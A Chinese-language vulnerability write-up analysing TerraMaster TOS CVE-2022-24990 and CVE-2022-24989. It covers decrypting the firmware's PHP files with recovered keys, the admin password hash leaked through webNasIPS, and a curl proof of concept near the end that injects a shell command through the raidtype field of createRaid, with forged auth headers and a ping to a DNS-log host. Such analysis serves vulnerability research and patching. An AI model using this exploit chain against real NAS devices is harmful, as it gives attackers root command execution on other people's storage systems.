铁威马TerraMaster CVE-2022-24990&CVE-2022-24989分析报告

2022-12-14 7,412

概述

Terramaster TOS是一款基于Linux平台的、专用于TerraMaster云存储NAS服务器的操作系统。Terramaster TOS 4.2.29版本存在漏洞,可能允许经过身份验证的远程攻击者在系统上执行任意命令,这是由 createRaid 模块中的缺陷引起的。通过发送特制命令,攻击者可以利用此漏洞在系统上以 root 身份执行任意命令。最新版本已对漏洞进行修补,建议更新到最新版本。

固件分析

从官网下载固件,这里我们选择F2-220 4.2.28版本。


铁威马使用nginx,解压后在/etc/nginx/nginx.conf中可以找到相关配置。


查看/usr/www发现php文件均被加密,使用二进制工具查看。


可以看到前面32个字节为一串数字加上字符,从第33个字节开始为乱码。查看多个php文件均出现上诉情况,且前16个字节一样,16字节开始的几个字节与文件大小相关。有理由相信使用同一种加密方式加密。查询相关资料,发现铁威马曾使用GH65Hws2jedf3fl3MeK进行加密。对php解释器(位于usr/sbin/php)进行查找,未发现相关字符串。再直接在文件夹中进行字符匹配,最终在/usr/lib/php/modules/php_terra_master.so中找到该字符串。

定位到相关代码

FILE *__fastcall p**screw_ext_fopen(FILE *stream)
{
  v2 = 16LL;
  v3 = v28;
  while ( v2 )
  {
    *v3 = 0;
    v3 = (v3 + 4);
    --v2;
  }
  v4 = 16LL;
  v5 = v29;
  while ( v4 )
  {
    *v5 = 0;
    v5 = (v5 + 4);
    --v4;
  }
  yek(v28);  //新key
  v6 = md5(v28);
  v28[0] = *v6;
  v28[1] = v6[1];
  oldyek(v29); //旧key
  v7 = md5(v29);
  v29[0] = *v7;
  v27 = v29[0];
  v29[1] = v7[1];
  s2 = v28[0];
  *nptr = 0LL;
  v8 = fileno(stream);
  sub_3A50(v8, &stat_buf);
  v24 = stat_buf.st_size;
  v9 = malloc(0x200000uLL);
  v10 = v24;
  *v9 = 0LL;
  v11 = v9;
  fread(v9, v10, 1uLL, stream);
  v22 = teg_yek(stream);
  fclose(stream);
  v12 = memcmp(v11, &s2, 0x10uLL);
  v13 = v22;
  if ( !v12 )
  {
    v14 = v24;
    for ( i = 16LL; v14 > i; ++i )
    {
      v16 = v11[i];
      if ( i > 31 )
        v11[i - 32] = v16;
      else
        v23[i] = v16;
    }
    v17 = v28;
LABEL_23:
    screw_aes(0LL, v11, v14, v17, &v24, v13); // 加密函数
    v24 = atoi(nptr);
    goto LABEL_24;
  }
  if ( !memcmp(v11, &v27, 0x10uLL) )
  {
    v14 = v24;
    v13 = v22;
    for ( j = 16LL; j < v14; ++j )
    {
      v19 = v11[j];
      if ( j > 31 )
        v11[j - 32] = v19;
      else
        v23[j] = v19;
    }
    v17 = v29;
    goto LABEL_23;
  }
LABEL_24:
  v20 = tmpfile64();
  fwrite(v11, v24, 1uLL, v20);
  free(v11);
  rewind(v20);
  return v20;
}

从函数名字可以看出该加密与aes有关,且名称与screw有关。在github搜索screw,存在相关代码。


下载后编译,名称为screw,定位到加密函数

void __fastcall screw_encrypt(const char *a1)
{
  memset(s, 0sizeof(s));
  memset(&key, 00x40uLL);
  v1 = (const void *)md5("FwWpZKxH7twCAG4JQMO");
  memcpy(&key, v1, 0x20uLL);
  enTag = key;
  qword_**28 = qword_C3E8;
  stream = fopen(a1, "rb");
  if ( !stream )
  {
    fprintf(stderr"File not found(%s)", a1);
    exit(0);
  }
  v2 = fileno(stream);
  fstat(v2, &v6);
  v5 = v6.st_size;
  ptr = malloc(0x200000uLL);
  memset(ptr, 08uLL);
  fread(ptr, (int)v5, 1uLL, stream);
  fclose(stream);
  sprintf(s, "%d", v5);
  if ( !memcmp(ptr, &enTag, 0x10uLL) )
  {
    errMsg(a1, " Already Crypted");
  }
  else if ( (int)v5 > 0 )
  {
    screw_aes(1LL, ptr, v5, &key, &v5);  //加密函数
    stream = fopen(a1, "wb");
    if ( !stream )
    {
      errMsg("Can not create crypt file(%s)", v4);
      exit(0);
    }
    fwrite(&enTag, 0x10uLL, 1uLL, stream);
    fwrite(s, 0x10uLL, 1uLL, stream);
    fwrite(ptr, (int)v5, 1uLL, stream);
    fclose(stream);
    alertMsg("Success Crypting - ", a1);
    free(ptr);
  }
  else
  {
    errMsg(a1, " will not be crypted");
  }
}

可以发现该加密函数与php_terra_master.so中的加密函数高度相似,也就是说php_terra_master.so中的函数是在原函数基础上做了一些小改动。经过分析,主要存在下面2个改变:

一. 2个 key

其中1个key就是GH65Hws2jedf3fl3MeK,也就是oldkey,将screw中的key替换为GH65Hws2jedf3fl3MeK,将一个phpdemo进行加密,加密后如下:


可以发现demo加密后格式与目标基本一致,只是前面16个字节不相同。

另外1个key也就是newkey就有点意思了。

__int64 __fastcall yek(__int64 a1)
{
  for ( result = 0LL; result != 32; ++result )
  {
    if ( (result & 1) != 0 )
      v2 = CAONIM[2 * result]; //newkey
    else
      v2 = CAONIM[result];
    *(a1 + result) = v2;
  }
  return result;
}

可以看到这个变量名起的就很有个性,再看一下对应的字符串。

只能说感受到了开发人员的良苦用心,最后得到的key为I''o0aot2eaoyota45eaedot6aoitlae,再次将demo进行加密。

可以看到demo文件加密出来的文件与我们需要解密的文件基本一致,前面16个字节的标志也相同,不过这样是解密不出来的,这就涉及到了第二个变化。

二.screw_aes加密函数多了个参数

跟进去发现该函数在加密后,与某个数进行了异或。

__int64 __fastcall screw_aes(int a1, __int64 a2, int a3, _DWORD *a4, _DWORD *a5, int a6)
{
  v19 = (a3 % 16 != 0) + a3 / 16;
  if ( a6 == -1 )
  {
    v9 = get_random1();
    v10 = get_dom2();
  }
  else
  {
    v9 = a6;
    v10 = a6;
  }
  v11 = v20;
  v12 = 64LL;
  v13 = a4;
  while ( v12 )
  {
    *v11 = *v13++;
    v11 += 4;
    --v12;
  }
  if ( a1 )
    aes_setkey_enc(v21, v20, 256LL);
  else
    aes_setkey_dec(v21, v20, 256LL);
  for ( i = 0; i < v19; ++i )
  {
    v14 = 0LL;
    if ( a1 )
    {
      aes_crypt_cbc(v21, 1LL, 16LL, a4, a2, a2);
      for ( j = 0LL; j != 16; ++j )
        *(a2 + j) ^= v9;        //异或
    }
    else
    {
      do
        *(a2 + v14++) ^= v10; //异或
      while ( v14 != 16 );
      aes_crypt_cbc(v21, 0LL, 16LL, a4, a2, a2);
    }
    a2 += 16LL;
  }
  result = (16 * v19);
  *a5 = result;
  return result;
}

追踪该参数,定位参数来源函数

char __fastcall teg_yek(FILE *a1)
{
  v1 = fileno(a1);
  php_sprintf(v5, "/proc/self/fd/%d", v1);
  v2 = readlink(v5, buf, 0x100uLL);  //读取文件名
  v3 = -1;
  if ( v2 >= 0 )
    v3 = v5[v2 + 251]; //参数来源
  return v3;
}

v2为文件路径长度,v3 = v5[v2+251],这里数组大小为256,也就是说取得值为文件名的(251-256)=-5位,也就是文件php后缀.php的前一位。也就是说要解密需要先将加密文件从第32位开始先与php后缀.php的前一位异或,再用screw的解密方式进行解密。到这里解密就完成了。


漏洞分析

CVE-2022-24990:信息泄露

/usr/www/module/api.php存在这样的代码

如果请求是http://target/module/api.php?aaaa/bbbb,那么$class = aaaa,$function = bbbb

接下来它会检查$function是否在NO_LOGIN_CHECK数组中,如果不在设置REQUEST_MODE = 1,在的话设置REQUEST_MODE = 0


然后它会实例化对象,并检查$function是否在$class:$notHeader中,不在的话会有TIME以及SIGNATURE的检查,在的话会调用$function


通过对$notHeader的搜索,在/usr/www/include/class/mobile.class.php找到相关代码。


在构造函数中主要进行3个检查:

1.判断函数是否在notHeader中,如果不在,判断HTTP_USER_AGENT中是否存在字符串TNAS,以及HTTP_AUTHORIZATION是否设置,只要有1个不存在,则判断HTTP_AUTHORIZATIONREQUESTCODE的值或者REQUESTCODEsha256加密后的值是否相等,如果都不相等,则输出Illegal request, please use genuine software!并退出。

2.判断REQUEST_MODE是否存在,如果REQUEST_MODE存在,则进行一些SESSION方面的检查。

3.判断函数是否在notCheck中,如果不在,则进行LoginCheck的检查。

我们对比api.php中的NO_LOGIN_CHECK数组以及mobile.class.phpnotCheck数组,可以发现NO_LOGIN_CHECK被包含在notCheck数组中,也就是说"webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected"这7个函数将会设置REQUEST_MODE为0,同时又在notCheck数组中,这将通过后2个检查。再查看第1个检查,会发现"webNasIPS""isConnected"函数能通过。

isConnected很简单,返回publicip


再查看webNasIPS函数


HTTP_USER_AGENT 为TNAS时,它将返回TOS固件信息,默认网关的IP、mac地址,正在运行的服务及其绑定地址和端口,以及$pwd = hash("sha256", $this->REQUESTCODE)。查询REQUESTCODE,它被定义在/usr/www/include/class/application.class.app,$this->REQUESTCODE = $this->_getpassword();查看_getpassword函数


可以看到webNasIPS返回的$pwd实际上就是admin的密码的hash值。所以这里存在一个严重的信息泄露问题。


CVE-2022-24989: 命令注入

不止如此,再得到了这个hash值后,mobile.class.php的构造函数中的第一个检查,将被通过。也就是说"getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig"函数也能调用。分别查看这几个函数,注意到"createRaid"函数。


这里需要2个参数raidtypediskstring,然后会将raidtype的值传入volume_make_from_disks函数,在volume.class.php可以找到该函数的定义。


继续跟进_backexec函数,在func.class.php中找到定义。


可以看到直接将raidtype的值传入到popen函数中,并没有任何检查,所以存在命令注入的可能。

但别忘了还需要绕过api.php中的检查。


搜索tos_encrypt_str,发现它并没有在php脚本中被定义,也就是说它存在与php加载的模块中,最后又在/usr/lib/php/modules/php_terra_master.so中找到了它。

这里会将get_mac_addr函数的返回值与TIMESTAMP拼接起来再求md5值,查看get_mac_addr函数。


这个函数作用是取eth0的mac地址,并以%02x%02x%02x的形式返回最后3位,也就是说如果mac地址为11:22:33:44:55:66,那么将返回445566。由于webNasIPS函数中,存在mac地址,所以到这里就只需要TIMESTAMP的值了,我们可以通过不带对应的http头来获取ctime,再将其转化为时间戳。

漏洞验证

万事俱备,构建payload。

curl -k 'http://{IP:PORT}/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$WKqIJ4Xa$Z.MvA1hLttowrJGwpJCFb0' -H 'TIMESTAMP: 1647196724' -H 'SIGNATURE: 85ea5257a596a846fc919269aa48788a' -d 'raidtype=;ping l49vx5.dnslog.cn -c 1;&diskstring=XXXX'



影响版本

TOS 4.2.x 版本 < 4.2.30,以及所有 4.1.x 版本。

补丁对比

漏洞在TOS 4.2.30中得到了修补。

CVE-2022-24990修补如下:


CVE-2022-24989修补如下:


参考文献:

https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63

https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/


本文作者:i春秋聚集地

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/193536.html

Tags:
评论  (0)
快来写下你的想法吧!

i春秋聚集地

文章数:24 积分: 225

i春秋聚集地旨在为信息安全爱好者提供及时有效的信息渠道和体验平台,欢迎关注公众号(icqedu),和“i春秋学院”微博了解更多网络安全新知识~

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号